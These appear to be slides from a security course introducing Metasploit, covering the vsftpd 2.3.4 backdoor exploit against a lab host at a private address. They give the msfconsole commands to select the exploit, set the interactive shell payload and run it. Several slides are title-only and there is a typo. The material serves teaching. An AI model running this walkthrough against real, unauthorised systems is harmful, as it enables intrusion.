Module 22 (Metasploit Introduction) At the end of this module, you should know what Metasploit and the Metasploit Framework are. You should know how to update and run metasploit. You should know how to find an exploit for a vulnerability (that you may have found in a vulnerability scan), select a payload, and set the options of the exploit and payload, and also execute the exploit and fire-off the appropriate payload. Module 22
Metasploit – What is it, Really? Metasploit is an open-source project that has at its center, the metasploit framework which is used for exploiting security vulnerabilities on host machines. The core of the framework are two types of packages: Exploitation Payloads Module 22
First Things First Almost every tool we use will be changing and improving over time. Always, always, always update (except when it's a bad idea). With metasploit it's a good idea. To update metasploit, run msfupdate in a terminal window in kali. It may take 10 minutes or more. Module 22
Running msf You run the metasploit framework at the console by executing the command msfconsole It takes a while to start up (especially the first time). Some people swear by the utility of the magic cow powers. (Seems to be required in any presentation on metasploit.) Module 22
Running msfconsole Module 22
Accessing the Magic Cow Powers Module 22
Selecting an exploit Given 1186 exploits, it might be hard to determine which one to select. The show exploits command will list them all. Recent versions of msfconsole support command line grep. Consider how we might see if metasploit can exploit the vsftpd vulnerability identified by openVAS: mfs> grep vsftpd show exploits Module 22
Lots of exploits. Don't look for them this way! Module 22
Use the grep, Luke. Module 22
Metasploit Exploitation Plan Find a vulnerability. use an exploit that exploits it. use unix/ftp/vsftpd_234_backdoor Set options for the exploit show options set RHOST 172.16.28.161 Determine what payload to use show payloads displays only applicable payloads. Set PAYLOAD set PAYLIAD cmd/unix/interact Module 22
Metasploit: use exploit Module 22
Metasploit: show options set OPTION Module 22
Metasploit: show payloads Module 22
Metasploit: set PAYLOAD Module 22
Metasploit: Final steps to exploit Check for extra payload options show options (again) Run the exploit! exploit This is a unix machine, what's the first thing you want to do? Module 22
Metasploit: show options (once more for PAYLOAD) Module 22
Metasploit: exploit Module 22
Metasploit: Even More Success! Module 22